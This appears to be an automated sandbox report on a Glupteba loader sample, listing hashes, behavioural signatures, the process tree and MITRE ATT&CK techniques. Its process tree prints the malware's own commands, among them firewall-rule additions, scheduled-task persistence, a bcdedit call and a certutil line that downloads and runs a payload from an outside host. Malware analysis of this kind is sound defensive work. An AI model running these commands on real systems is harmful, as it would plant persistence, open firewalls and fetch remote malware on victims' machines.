Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
12-06-2024 18:22
General
-
Target
a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe
-
Size
3.9MB
-
MD5
a1b89128ef26396399f8e888cef53682
-
SHA1
1b9f242b904edbe933596fb465f5a54e16e88d24
-
SHA256
55e1604ebd4d5a0a9ccb6d4a7fd2ce4b5c1f75f9e2ac2710cf0698bac42c6679
-
SHA512
e0cbba359ab32670aa0dd8e486963c5855dc8908ae42940a1cc8547b8d208d35a42ecca2df5212fe5520f21f73337f35814f291e9131d5d7ab19dd952f966b0f
-
SSDEEP
98304:Nhr0+rvyewVzbxC1C+xxRaqW71ycye9cMnLuWI2/vz:Nhg4UxupSDRFnz
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 20 IoCs
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Executes dropped EXE 2 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
-
Modifies boot configuration data using bcdedit 1 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 2 IoCs
-
Program crash 2 IoCs
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 13 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\e56eebd58a0a\e56eebd58a0a\e56eebd58a0a.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\e56eebd58a0a\e56eebd58a0a\e56eebd58a0a.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 64 -s 8483⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 8762⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4268 -ip 42681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 64 -ip 641⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
Filesize
3.9MB
MD5a1b89128ef26396399f8e888cef53682
SHA11b9f242b904edbe933596fb465f5a54e16e88d24
SHA25655e1604ebd4d5a0a9ccb6d4a7fd2ce4b5c1f75f9e2ac2710cf0698bac42c6679
SHA512e0cbba359ab32670aa0dd8e486963c5855dc8908ae42940a1cc8547b8d208d35a42ecca2df5212fe5520f21f73337f35814f291e9131d5d7ab19dd952f966b0f
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
3.7MB
-
Filesize
7.0MB
-
Filesize
7.1MB
-
Filesize
8.3MB
-
Filesize
7.0MB
-
Filesize
7.1MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
8.3MB